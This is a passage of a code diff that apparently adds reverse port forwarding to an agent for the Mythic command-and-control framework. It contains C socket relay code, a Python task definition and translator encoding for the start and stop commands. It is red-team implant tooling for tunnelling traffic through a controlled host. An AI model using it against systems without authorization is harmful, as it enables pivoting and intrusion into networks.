continue;
|
||||||
|
}
|
||||||
|
ra->server_id = sid;
|
||||||
|
ra->s = client_sock;
|
||||||
|
ra->port = port;
|
||||||
|
|
||||||
|
// Send initial data notification to Mythic (empty data, new connection)
|
||||||
|
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
|
||||||
|
HANDLE th = CreateThread(NULL, 0, rpfwd_reader_thread, ra, 0, NULL);
|
||||||
|
if (!th) {
|
||||||
|
_err("rpfwd ERROR: CreateThread failed for reader");
|
||||||
|
free(ra);
|
||||||
|
CLOSESOCK(client_sock);
|
||||||
|
remove_entry(sid);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
CloseHandle(th); // Don't wait for thread, just close handle
|
||||||
|
}
|
||||||
|
|
||||||
|
CLOSESOCK(listen_sock);
|
||||||
|
listener_sock = INVALID_SOCKET;
|
||||||
|
_dbg("rpfwd_listener_thread terminado");
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
static void* rpfwd_listener_thread(void* arg) {
|
||||||
|
uint16_t port = *(uint16_t*)arg;
|
||||||
|
free(arg);
|
||||||
|
_dbg("rpfwd_listener_thread iniciado en puerto %u", port);
|
||||||
|
|
||||||
|
struct sockaddr_in sa;
|
||||||
|
sock_t listen_sock = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (listen_sock == INVALID_SOCKET) {
|
||||||
|
_err("rpfwd ERROR: socket() failed");
|
||||||
|
return (void*)(intptr_t)1;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Set SO_REUSEADDR
|
||||||
|
int opt = 1;
|
||||||
|
setsockopt(listen_sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt));
|
||||||
|
|
||||||
|
memset(&sa, 0, sizeof(sa));
|
||||||
|
sa.sin_family = AF_INET;
|
||||||
|
sa.sin_addr.s_addr = INADDR_ANY;
|
||||||
|
sa.sin_port = htons(port);
|
||||||
|
|
||||||
|
if (bind(listen_sock, (struct sockaddr*)&sa, sizeof(sa)) != 0) {
|
||||||
|
_err("rpfwd ERROR: bind() failed on port %u, errno=%d", port, errno);
|
||||||
|
CLOSESOCK(listen_sock);
|
||||||
|
return (void*)(intptr_t)1;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (listen(listen_sock, 10) != 0) {
|
||||||
|
_err("rpfwd ERROR: listen() failed, errno=%d", errno);
|
||||||
|
CLOSESOCK(listen_sock);
|
||||||
|
return (void*)(intptr_t)1;
|
||||||
|
}
|
||||||
|
|
||||||
|
listener_sock = listen_sock;
|
||||||
|
_dbg("rpfwd listener escuchando en puerto %u", port);
|
||||||
|
|
||||||
|
while (rpfwd_active) {
|
||||||
|
struct sockaddr_in client_addr;
|
||||||
|
socklen_t addr_len = sizeof(client_addr);
|
||||||
|
sock_t client_sock = accept(listen_sock, (struct sockaddr*)&client_addr, &addr_len);
|
||||||
|
|
||||||
|
if (client_sock == INVALID_SOCKET) {
|
||||||
|
if (!rpfwd_active) break;
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Generate unique server_id
|
||||||
|
uint32_t sid = generate_server_id();
|
||||||
|
_dbg("rpfwd nueva conexión aceptada: sid=%u desde %s:%u", sid,
|
||||||
|
inet_ntoa(client_addr.sin_addr), ntohs(client_addr.sin_port));
|
||||||
|
|
||||||
|
// Set timeout
|
||||||
|
struct timeval timeout;
|
||||||
|
timeout.tv_sec = 60;
|
||||||
|
timeout.tv_usec = 0;
|
||||||
|
setsockopt(client_sock, SOL_SOCKET, SO_RCVTIMEO, &timeout, sizeof(timeout));
|
||||||
|
|
||||||
|
// Create entry
|
||||||
|
create_entry(sid, client_sock, port);
|
||||||
|
|
||||||
|
// Spawn reader thread
|
||||||
|
rpfwd_reader_args_t *ra = (rpfwd_reader_args_t*)malloc(sizeof(rpfwd_reader_args_t));
|
||||||
|
if (!ra) {
|
||||||
|
_err("rpfwd ERROR: malloc failed for reader args");
|
||||||
|
CLOSESOCK(client_sock);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
ra->server_id = sid;
|
||||||
|
ra->s = client_sock;
|
||||||
|
ra->port = port;
|
||||||
|
|
||||||
|
// Send initial data notification to Mythic (empty data, new connection)
|
||||||
|
rpfwd_msg_t m = {sid, 0, NULL, 0, port};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
|
||||||
|
pthread_t tid;
|
||||||
|
if (pthread_create(&tid, NULL, rpfwd_reader_thread, ra) != 0) {
|
||||||
|
_err("rpfwd ERROR: pthread_create failed for reader");
|
||||||
|
free(ra);
|
||||||
|
CLOSESOCK(client_sock);
|
||||||
|
remove_entry(sid);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
pthread_detach(tid);
|
||||||
|
}
|
||||||
|
|
||||||
|
CLOSESOCK(listen_sock);
|
||||||
|
listener_sock = INVALID_SOCKET;
|
||||||
|
_dbg("rpfwd_listener_thread terminado");
|
||||||
|
return NULL;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
/* === Procesamiento principal (datos desde Mythic hacia conexión local) === */
|
||||||
|
int rpfwd_manager_process_incoming(uint32_t server_id, int exit_flag, const unsigned char *data, size_t data_len, uint32_t port) {
|
||||||
|
_dbg("rpfwd_process_incoming: sid=%u exit=%d len=%zu port=%u", server_id, exit_flag, data_len, port);
|
||||||
|
if (server_id == 0) {
|
||||||
|
_err("rpfwd ERROR: invalid server_id=%u", server_id);
|
||||||
|
return -4;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (exit_flag) {
|
||||||
|
_dbg("rpfwd Exit flag set, removiendo entry sid=%u", server_id);
|
||||||
|
remove_entry(server_id);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
rpfwd_conn_entry_t *e = find_entry(server_id);
|
||||||
|
if (!e) {
|
||||||
|
_dbg("rpfwd Nueva conexión desde Mythic para sid=%u, pero no existe entry local", server_id);
|
||||||
|
// Entry doesn't exist - might be a new connection notification from Mythic
|
||||||
|
// This is normal for RPFWD, just ignore
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (e->closed) {
|
||||||
|
_dbg("rpfwd Conexión sid=%u ya está cerrada", server_id);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Forward data to local TCP connection
|
||||||
|
if (data_len > 0 && data) {
|
||||||
|
int sent = send(e->sock, (const char*)data, (int)data_len, 0);
|
||||||
|
if (sent <= 0) {
|
||||||
|
_dbg("rpfwd Error enviando datos a sid=%u, cerrando", server_id);
|
||||||
|
remove_entry(server_id);
|
||||||
|
rpfwd_msg_t m = {server_id, 1, NULL, 0, port};
|
||||||
|
enqueue_outgoing(&m);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
_dbg("rpfwd Enviados %d bytes a sid=%u", sent, server_id);
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
/* === Start/Stop listener === */
|
||||||
|
int rpfwd_manager_start_listener(uint16_t local_port) {
|
||||||
|
if (rpfwd_active) {
|
||||||
|
_dbg("rpfwd ya está activo en puerto %u", listener_port);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
rpfwd_manager_init();
|
||||||
|
rpfwd_active = 1;
|
||||||
|
listener_port = local_port;
|
||||||
|
_inf("rpfwd_manager_start_listener: iniciando listener en puerto %u", local_port);
|
||||||
|
|
||||||
|
uint16_t *port_arg = (uint16_t*)malloc(sizeof(uint16_t));
|
||||||
|
if (!port_arg) {
|
||||||
|
_err("rpfwd ERROR: malloc failed for port_arg");
|
||||||
|
rpfwd_active = 0;
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
*port_arg = local_port;
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
listener_thread_handle = CreateThread(NULL, 0, rpfwd_listener_thread, port_arg, 0, NULL);
|
||||||
|
if (!listener_thread_handle) {
|
||||||
|
_err("rpfwd ERROR: failed to create listener thread (error: %lu)", GetLastError());
|
||||||
|
rpfwd_active = 0;
|
||||||
|
free(port_arg);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
_inf("rpfwd listener thread creado exitosamente");
|
||||||
|
// Don't close handle immediately - we need it to check if thread is still alive
|
||||||
|
#else
|
||||||
|
if (pthread_create(&listener_thread_id, NULL, rpfwd_listener_thread, port_arg) != 0) {
|
||||||
|
_err("rpfwd ERROR: failed to create listener thread");
|
||||||
|
rpfwd_active = 0;
|
||||||
|
free(port_arg);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
_inf("rpfwd listener thread creado exitosamente");
|
||||||
|
pthread_detach(listener_thread_id);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Give the thread a moment to initialize and report any errors
|
||||||
|
Sleep(100);
|
||||||
|
|
||||||
|
// Check if the listener socket was created successfully
|
||||||
|
if (listener_sock == INVALID_SOCKET && rpfwd_active) {
|
||||||
|
_wrn("rpfwd listener socket no se creó, thread podría haber fallado");
|
||||||
|
// Thread might have failed - reset active flag
|
||||||
|
rpfwd_active = 0;
|
||||||
|
return -2;
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
int rpfwd_manager_stop_listener(void) {
|
||||||
|
_dbg("rpfwd_manager_stop_listener()");
|
||||||
|
rpfwd_active = 0;
|
||||||
|
|
||||||
|
if (listener_sock != INVALID_SOCKET) {
|
||||||
|
CLOSESOCK(listener_sock);
|
||||||
|
listener_sock = INVALID_SOCKET;
|
||||||
|
}
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
if (listener_thread_handle) {
|
||||||
|
WaitForSingleObject(listener_thread_handle, 2000);
|
||||||
|
CloseHandle(listener_thread_handle);
|
||||||
|
listener_thread_handle = NULL;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
EnterCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_lock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
rpfwd_conn_entry_t *cur = conn_list;
|
||||||
|
while (cur) {
|
||||||
|
if (cur->sock != INVALID_SOCKET) CLOSESOCK(cur->sock);
|
||||||
|
cur = cur->next;
|
||||||
|
}
|
||||||
|
#ifdef _WIN32
|
||||||
|
LeaveCriticalSection(&conn_lock);
|
||||||
|
#else
|
||||||
|
pthread_mutex_unlock(&conn_lock);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
listener_port = 0;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
@@ -0,0 +1,47 @@
|
|||||||
|
#ifndef RPFWD_MANAGER_H
|
||||||
|
#define RPFWD_MANAGER_H
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
/* ==== Estructura básica de mensaje RPFWD ==== */
|
||||||
|
typedef struct rpfwd_msg_s {
|
||||||
|
uint32_t server_id;
|
||||||
|
int exit_flag;
|
||||||
|
unsigned char *data;
|
||||||
|
size_t data_len;
|
||||||
|
uint32_t port; // Optional port for multi-port RPFWD
|
||||||
|
} rpfwd_msg_t;
|
||||||
|
|
||||||
|
/* ==== Callbacks ==== */
|
||||||
|
typedef void (*rpfwd_send_cb_t)(
|
||||||
|
uint32_t server_id,
|
||||||
|
int exit_flag,
|
||||||
|
const unsigned char *data,
|
||||||
|
size_t data_len,
|
||||||
|
uint32_t port,
|
||||||
|
void *ctx
|
||||||
|
);
|
||||||
|
|
||||||
|
/* ==== Estado global ==== */
|
||||||
|
extern volatile int rpfwd_active; // indica si RPFWD está activo
|
||||||
|
|
||||||
|
/* ==== API pública ==== */
|
||||||
|
void rpfwd_manager_init(void);
|
||||||
|
void rpfwd_manager_cleanup(void);
|
||||||
|
|
||||||
|
int rpfwd_manager_process_incoming(
|
||||||
|
uint32_t server_id,
|
||||||
|
int exit_flag,
|
||||||
|
const unsigned char *data,
|
||||||
|
size_t data_len,
|
||||||
|
uint32_t port
|
||||||
|
);
|
||||||
|
|
||||||
|
void rpfwd_manager_flush_outgoing(rpfwd_send_cb_t cb, void *ctx);
|
||||||
|
|
||||||
|
int rpfwd_manager_start_listener(uint16_t local_port);
|
||||||
|
int rpfwd_manager_stop_listener(void);
|
||||||
|
|
||||||
|
#endif /* RPFWD_MANAGER_H */
|
||||||
|
|
||||||
@@ -0,0 +1,154 @@
|
|||||||
|
from mythic_container.MythicCommandBase import *
|
||||||
|
from mythic_container.MythicRPC import (
|
||||||
|
SendMythicRPCProxyStartCommand,
|
||||||
|
MythicRPCProxyStartMessage,
|
||||||
|
SendMythicRPCProxyStopCommand,
|
||||||
|
MythicRPCProxyStopMessage,
|
||||||
|
CALLBACK_PORT_TYPE_RPORTFWD
|
||||||
|
)
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
|
||||||
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
|
||||||
|
|
||||||
|
class RpfwdArguments(TaskArguments):
|
||||||
|
def __init__(self, command_line, **kwargs):
|
||||||
|
super().__init__(command_line, **kwargs)
|
||||||
|
self.args = [
|
||||||
|
CommandParameter(
|
||||||
|
name="action",
|
||||||
|
type=ParameterType.ChooseOne,
|
||||||
|
description="Acción a realizar (start/stop)",
|
||||||
|
choices=["start", "stop"],
|
||||||
|
default_value="start",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(required=True, ui_position=1)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="port",
|
||||||
|
type=ParameterType.Number,
|
||||||
|
description="Puerto local del agente donde escuchar (solo para start)",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=2)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="remote_host",
|
||||||
|
type=ParameterType.String,
|
||||||
|
description="IP o hostname remoto al que Mythic debe conectar (solo para start)",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=3)]
|
||||||
|
),
|
||||||
|
CommandParameter(
|
||||||
|
name="remote_port",
|
||||||
|
type=ParameterType.Number,
|
||||||
|
description="Puerto remoto al que Mythic debe conectar (solo para start)",
|
||||||
|
parameter_group_info=[ParameterGroupInfo(required=False, ui_position=4)]
|
||||||
|
),
|
||||||
|
]
|
||||||
|
|
||||||
|
async def parse_arguments(self):
|
||||||
|
if len(self.command_line) == 0:
|
||||||
|
raise ValueError("Debe especificar 'start' o 'stop'.")
|
||||||
|
parts = self.command_line.strip().split()
|
||||||
|
action = parts[0].lower()
|
||||||
|
|
||||||
|
if action not in ["start", "stop"]:
|
||||||
|
raise ValueError("Acción debe ser 'start' o 'stop'.")
|
||||||
|
|
||||||
|
# Parsear puerto local (opcional)
|
||||||
|
local_port = int(parts[1]) if len(parts) > 1 else 8080
|
||||||
|
self.add_arg("port", local_port)
|
||||||
|
|
||||||
|
# Parsear host remoto y puerto (opcionales)
|
||||||
|
remote_host = parts[2] if len(parts) > 2 else "127.0.0.1"
|
||||||
|
remote_port = int(parts[3]) if len(parts) > 3 else 80
|
||||||
|
self.add_arg("remote_host", remote_host)
|
||||||
|
self.add_arg("remote_port", remote_port)
|
||||||
|
|
||||||
|
self.add_arg("action", action)
|
||||||
|
|
||||||
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
|
action = dictionary_arguments.get("action", "start")
|
||||||
|
# Valores por defecto
|
||||||
|
if "port" not in dictionary_arguments:
|
||||||
|
dictionary_arguments["port"] = 8080
|
||||||
|
if "remote_host" not in dictionary_arguments:
|
||||||
|
dictionary_arguments["remote_host"] = "127.0.0.1"
|
||||||
|
if "remote_port" not in dictionary_arguments:
|
||||||
|
dictionary_arguments["remote_port"] = 80
|
||||||
|
self.load_args_from_dictionary(dictionary_arguments)
|
||||||
|
|
||||||
|
|
||||||
|
class RpfwdCommand(CommandBase):
|
||||||
|
cmd = "rpfwd"
|
||||||
|
needs_admin = False
|
||||||
|
help_cmd = "rpfwd start [local_port] [remote_host] [remote_port] / rpfwd stop"
|
||||||
|
description = "Inicia o detiene el reverse port forwarding. El agente escucha en local_port y Mythic reenvía a remote_host:remote_port. Puerto local por defecto: 8080"
|
||||||
|
version = 1
|
||||||
|
author = "OFSTeam"
|
||||||
|
argument_class = RpfwdArguments
|
||||||
|
attackmapping = []
|
||||||
|
attributes = CommandAttributes(
|
||||||
|
supported_os=[SupportedOS.Windows],
|
||||||
|
builtin=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
|
action = task.args.get_arg("action")
|
||||||
|
if action == "start":
|
||||||
|
local_port = task.args.get_arg("port")
|
||||||
|
remote_host = task.args.get_arg("remote_host")
|
||||||
|
remote_port = task.args.get_arg("remote_port")
|
||||||
|
task.display_params = f"{action.upper()} (local:{local_port} -> {remote_host}:{remote_port})"
|
||||||
|
else:
|
||||||
|
task.display_params = "STOP"
|
||||||
|
return task
|
||||||
|
|
||||||
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
|
response = PTTaskCreateTaskingMessageResponse(TaskID=taskData.Task.ID, Success=True)
|
||||||
|
|
||||||
|
action = taskData.args.get_arg("action")
|
||||||
|
local_port = taskData.args.get_arg("port") if taskData.args.get_arg("port") else 8080
|
||||||
|
|
||||||
|
try:
|
||||||
|
if action == "start":
|
||||||
|
remote_host = taskData.args.get_arg("remote_host") or "127.0.0.1"
|
||||||
|
remote_port = taskData.args.get_arg("remote_port") or 80
|
||||||
|
|
||||||
|
# Warn if using a privileged port on Windows (may require admin)
|
||||||
|
if local_port < 1024:
|
||||||
|
logging.warning(f"Warning: Port {local_port} is privileged (<1024) and may require administrator privileges on Windows")
|
||||||
|
logging.warning(f"Consider using a non-privileged port (>=1024) like 8080, 4444, or 5555")
|
||||||
|
|
||||||
|
# Register RPFWD with Mythic - Mythic will automatically send start_rpfwd command to agent
|
||||||
|
resp = await SendMythicRPCProxyStartCommand(MythicRPCProxyStartMessage(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
LocalPort=local_port,
|
||||||
|
RemoteIP=remote_host,
|
||||||
|
RemotePort=remote_port,
|
||||||
|
PortType=CALLBACK_PORT_TYPE_RPORTFWD
|
||||||
|
))
|
||||||
|
logging.info(f"RPFWD registered with Mythic: local port {local_port} on agent -> {remote_host}:{remote_port}")
|
||||||
|
logging.info(f"To test: Connect to port {local_port} on the AGENT host (not Mythic server)")
|
||||||
|
if not resp.Success:
|
||||||
|
response.Success = False
|
||||||
|
response.Error = resp.Error
|
||||||
|
elif action == "stop":
|
||||||
|
# Unregister RPFWD with Mythic - Mythic will automatically send stop_rpfwd command to agent
|
||||||
|
resp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage(
|
||||||
|
TaskID=taskData.Task.ID,
|
||||||
|
Port=local_port,
|
||||||
|
PortType=CALLBACK_PORT_TYPE_RPORTFWD
|
||||||
|
))
|
||||||
|
logging.info(f"RPFWD unregistered from Mythic: {resp}")
|
||||||
|
if not resp.Success:
|
||||||
|
response.Success = False
|
||||||
|
response.Error = resp.Error
|
||||||
|
except Exception as e:
|
||||||
|
logging.error(f"Error en RPFWD RPC: {e}")
|
||||||
|
response.Success = False
|
||||||
|
response.Error = str(e)
|
||||||
|
return response
|
||||||
|
|
||||||
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
|
return resp
|
||||||
|
|
||||||
@@ -30,18 +30,57 @@ commands = {
|
|||||||
# Added SOCKS control commands
|
# Added SOCKS control commands
|
||||||
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
"start_socks": {"hex_code": 0x60, "input_type": "int"},
|
||||||
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
"stop_socks": {"hex_code": 0x61, "input_type": None},
|
||||||
|
# Added Reverse Port Forward commands
|
||||||
|
"start_rpfwd": {"hex_code": 0x62, "input_type": "int"},
|
||||||
|
"stop_rpfwd": {"hex_code": 0x63, "input_type": None},
|
||||||
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
|
"socks": {"hex_code": 0x60, "input_type": "socks_special"} # Se maneja especialmente
|
||||||
}
|
}
|
||||||
|
|
||||||
def responseTasking(tasks):
|
def responseTasking(tasks):
|
||||||
|
print(f"\n[TRANSLATOR] ========== responseTasking INICIO ==========")
|
||||||
|
print(f"[TRANSLATOR] Número de tareas a procesar: {len(tasks)}")
|
||||||
data = b""
|
data = b""
|
||||||
dataTask = b""
|
dataTask = b""
|
||||||
|
|
||||||
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
|
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
|
||||||
|
print(f"[TRANSLATOR] dataHead: comando=0x{dataHead[0]:02X}, num_tareas={int.from_bytes(dataHead[1:5], 'big')}, tamaño={len(dataHead)} bytes")
|
||||||
|
|
||||||
for task in tasks:
|
for task in tasks:
|
||||||
command_to_run = task["command"]
|
command_to_run = task["command"]
|
||||||
print(f"\n[DEBUG] Preparando comando: {command_to_run}")
|
print(f"\n[TRANSLATOR] Preparando comando: {command_to_run}")
|
||||||
|
|
||||||
|
# Manejar comandos especiales primero (rpfwd, socks)
|
||||||
|
if command_to_run == "rpfwd":
|
||||||
|
# Comando RPFWD: parsea action para decidir entre START (0x62) o STOP (0x63)
|
||||||
|
print(f"[TRANSLATOR] Comando especial RPFWD detectado")
|
||||||
|
parameters = json.loads(task["parameters"]) if task["parameters"] != "" else {}
|
||||||
|
action = parameters.get("action", "start")
|
||||||
|
port = int(parameters.get("port", 8080))
|
||||||
|
|
||||||
|
task_id = task["id"].encode()
|
||||||
|
|
||||||
|
if action == "start":
|
||||||
|
# START_RPFWD_CMD (0x62) + task_id + nbArg (1) + port
|
||||||
|
command_code = bytes([0x62]) # START_RPFWD_CMD
|
||||||
|
data = command_code + task_id
|
||||||
|
# Para input_type="int", el formato es: UUID (36) + nbArg (4) + param1 (4)...
|
||||||
|
nbArg = 1 # Solo el puerto
|
||||||
|
data += nbArg.to_bytes(4, "big")
|
||||||
|
data += port.to_bytes(4, "big")
|
||||||
|
print(f"[TRANSLATOR] RPFWD START: port={port}, nbArg={nbArg}")
|
||||||
|
else:
|
||||||
|
# STOP_RPFWD_CMD (0x63) + task_id (sin parámetros)
|
||||||
|
command_code = bytes([0x63]) # STOP_RPFWD_CMD
|
||||||
|
data = command_code + task_id
|
||||||
|
print(f"[TRANSLATOR] RPFWD STOP")
|
||||||
|
|
||||||
|
task_size = len(data)
|
||||||
|
print(f"[TRANSLATOR] Tamaño total de tarea RPFWD: {task_size} bytes")
|
||||||
|
print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, resto={task_size-37} bytes")
|
||||||
|
dataTask += task_size.to_bytes(4, "big") + data
|
||||||
|
print(f"[TRANSLATOR] Tarea RPFWD agregada. dataTask ahora tiene {len(dataTask)} bytes")
|
||||||
|
continue
|
||||||
|
|
||||||
if command_to_run not in commands:
|
if command_to_run not in commands:
|
||||||
print(f"[ERROR] Comando no reconocido en translator: {command_to_run}")
|
print(f"[ERROR] Comando no reconocido en translator: {command_to_run}")
|
||||||
# Skip unknown command to avoid crashing the translator
|
# Skip unknown command to avoid crashing the translator
|
||||||
@@ -66,7 +105,6 @@ def responseTasking(tasks):
|
|||||||
|
|
||||||
task_size = len(data)
|
task_size = len(data)
|
||||||
print(f"[DEBUG] Tamaño de tarea: {task_size}")
|
print(f"[DEBUG] Tamaño de tarea: {task_size}")
|
||||||
print(f"[DEBUG] Datos de tarea (hex): {data.hex()}")
|
|
||||||
dataTask += task_size.to_bytes(4, "big") + data
|
dataTask += task_size.to_bytes(4, "big") + data
|
||||||
|
|
||||||
print("input_type: None")
|
print("input_type: None")
|
||||||
@@ -114,16 +152,32 @@ def responseTasking(tasks):
|
|||||||
dataTask += len(data).to_bytes(4, "big") + data
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "int":
|
elif commands[command_to_run]["input_type"] == "int":
|
||||||
|
print(f"[TRANSLATOR] input_type=='int' para comando {command_to_run}")
|
||||||
|
print(f"[TRANSLATOR] task_id (raw): {task_id}, len={len(task_id)}")
|
||||||
|
# Para input_type=="int", el task_id se envía directamente sin prefijo de longitud (36 bytes)
|
||||||
data = command_code + task_id
|
data = command_code + task_id
|
||||||
|
print(f"[TRANSLATOR] data después de command_code+task_id: {len(data)} bytes (1+36=37)")
|
||||||
|
|
||||||
if task["parameters"] != "":
|
if task["parameters"] != "":
|
||||||
parameters = json.loads(task["parameters"])
|
parameters = json.loads(task["parameters"])
|
||||||
data += len(parameters).to_bytes(4, "big")
|
print(f"[TRANSLATOR] Parámetros parseados: {parameters}")
|
||||||
|
nbArg = len(parameters)
|
||||||
|
data += nbArg.to_bytes(4, "big")
|
||||||
|
print(f"[TRANSLATOR] nbArg agregado: {nbArg} (4 bytes)")
|
||||||
for param in parameters:
|
for param in parameters:
|
||||||
|
param_value = parameters[param]
|
||||||
|
print(f"[TRANSLATOR] Agregando parámetro '{param}' = {param_value} (4 bytes)")
|
||||||
# Expecting integer values in parameters dict
|
# Expecting integer values in parameters dict
|
||||||
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
data += int(param_value).to_bytes(4, "big") # Convertir el int correctamente
|
||||||
else:
|
else:
|
||||||
|
print(f"[TRANSLATOR] Sin parámetros, agregando nbArg=0")
|
||||||
data += b"\x00\x00\x00\x00"
|
data += b"\x00\x00\x00\x00"
|
||||||
dataTask += len(data).to_bytes(4, "big") + data
|
|
||||||
|
task_size = len(data)
|
||||||
|
print(f"[TRANSLATOR] Tamaño total de tarea (incluye command_code): {task_size} bytes")
|
||||||
|
print(f"[TRANSLATOR] Desglose: command_code=1, task_id=36, nbArg=4, params={task_size-1-36-4} bytes")
|
||||||
|
dataTask += task_size.to_bytes(4, "big") + data
|
||||||
|
print(f"[TRANSLATOR] Tarea agregada a dataTask. dataTask ahora tiene {len(dataTask)} bytes")
|
||||||
|
|
||||||
elif commands[command_to_run]["input_type"] == "socks_special":
|
elif commands[command_to_run]["input_type"] == "socks_special":
|
||||||
# Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61)
|
# Comando SOCKS: parsea action para decidir entre START (0x60) o STOP (0x61)
|
||||||
@@ -135,20 +189,23 @@ def responseTasking(tasks):
|
|||||||
# START_SOCKS_CMD (0x60) + task_id + puerto
|
# START_SOCKS_CMD (0x60) + task_id + puerto
|
||||||
data = bytes([0x60]) + task_id
|
data = bytes([0x60]) + task_id
|
||||||
data += port.to_bytes(4, "big")
|
data += port.to_bytes(4, "big")
|
||||||
print(f"[DEBUG] SOCKS START: port={port}")
|
print(f"[TRANSLATOR] SOCKS START: port={port}")
|
||||||
else:
|
else:
|
||||||
# STOP_SOCKS_CMD (0x61) + task_id (sin parámetros)
|
# STOP_SOCKS_CMD (0x61) + task_id (sin parámetros)
|
||||||
data = bytes([0x61]) + task_id
|
data = bytes([0x61]) + task_id
|
||||||
print(f"[DEBUG] SOCKS STOP")
|
print(f"[TRANSLATOR] SOCKS STOP")
|
||||||
|
|
||||||
dataTask += len(data).to_bytes(4, "big") + data
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
|
|
||||||
dataToSend = dataHead + dataTask
|
dataToSend = dataHead + dataTask
|
||||||
print("estamos en el dataToSend\n")
|
print(f"[TRANSLATOR] ========== responseTasking FIN ==========")
|
||||||
print(f"[TRANSLATOR] dataToSend total={len(dataToSend)} bytes")
|
print(f"[TRANSLATOR] dataHead: {len(dataHead)} bytes")
|
||||||
print(f"[TRANSLATOR] dataHead (comando+num_tasks)={dataHead.hex()} ({len(dataHead)} bytes)")
|
print(f"[TRANSLATOR] dataTask: {len(dataTask)} bytes")
|
||||||
print(f"[TRANSLATOR] dataTask (tareas)={dataTask.hex()[:100]}..." if len(dataTask) > 50 else f"[TRANSLATOR] dataTask={dataTask.hex()}")
|
print(f"[TRANSLATOR] dataToSend TOTAL: {len(dataToSend)} bytes, {len(tasks)} task(s)")
|
||||||
print(f"[TRANSLATOR] First byte of dataToSend=0x{dataToSend[0]:02X}")
|
print(f"[TRANSLATOR] Primer byte: 0x{dataToSend[0]:02X} (GET_TASKING)")
|
||||||
|
print(f"[TRANSLATOR] Número de tareas: {int.from_bytes(dataToSend[1:5], 'big')}")
|
||||||
|
if len(dataToSend) > 5:
|
||||||
|
print(f"[TRANSLATOR] Primeros bytes de dataTask: {dataToSend[5:min(20, len(dataToSend))].hex()}")
|
||||||
return dataToSend
|
return dataToSend
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
@@ -309,7 +309,7 @@ def parse_file_browser_list(output_text):
|
|||||||
|
|
||||||
def postResponse(data):
|
def postResponse(data):
|
||||||
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
print(f"Tamaño del Base64 recibido: {len(data)} bytes")
|
||||||
print(f"[DEBUG] Primeros 100 bytes (hex): {data[:100].hex()}")
|
# Removed hex dump - use debug logging if needed
|
||||||
print(f"[DEBUG] Primeros 100 bytes (repr): {repr(data[:100])}")
|
print(f"[DEBUG] Primeros 100 bytes (repr): {repr(data[:100])}")
|
||||||
|
|
||||||
resTaks = []
|
resTaks = []
|
||||||
|
|||||||
@@ -159,6 +159,31 @@ class cazalla_translator(TranslationContainer):
|
|||||||
